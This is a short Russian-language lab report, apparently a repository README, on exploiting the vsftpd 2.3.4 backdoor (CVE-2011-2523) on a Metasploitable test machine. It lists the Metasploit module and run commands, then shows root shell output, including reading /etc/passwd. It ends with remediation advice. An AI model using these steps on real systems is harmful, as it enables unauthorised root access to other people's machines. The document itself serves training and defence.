💥 vsftpd 2.3.4 Backdoor Exploit Report

Эксплуатация известной уязвимости в vsftpd 2.3.4 с помощью Metasploit.

📌 Детали цели

IP цели: 192.168.150.133
Сервис: FTP
Уязвимая версия: vsftpd 2.3.4
Модуль эксплойта: exploit/unix/ftp/vsftpd_234_backdoor
Пейлоад: Командная оболочка (TCP)

🔍 Сводка об уязвимости

vsftpd 2.3.4 содержит вредоносный бэкдор, который открывает командную оболочку на порту 6200 при получении специально сформированного имени пользователя (заканчивающегося на :)).

CVE: CVE-2011-2523

🚀 Шаги эксплуатации

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.150.133
run

💥 Доступ к оболочке получен:

whoami
> root

id
> uid=0(root) gid=0(root)

hostname
> metasploitable

uname -a
> Linux metasploitable 2.6.24-16-server #1 SMP ...

cat /etc/passwd
> root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/bin/sh
  ...

🔐 Воздействие

Доступ к корневой оболочке даёт атакующему полный контроль над целевой системой, включая повышение привилегий, горизонтальное перемещение, эксфильтрацию данных и постоянный доступ.

✅ Рекомендация

НЕ используйте vsftpd 2.3.4.
Обновитесь до безопасной поддерживаемой версии.
Ограничьте внешний доступ к FTP.
Мониторьте подозрительный трафик на порту 6200.

📄 Отчёт

📝 Полный PDF-отчёт доступен в этом репозитории: vsftpd-exploit-report.pdf

📚 Ссылки

👨‍💻 Автор

Сделано с 🔥 от vedpakhare

vsftpd-234-vuln-report

Популярное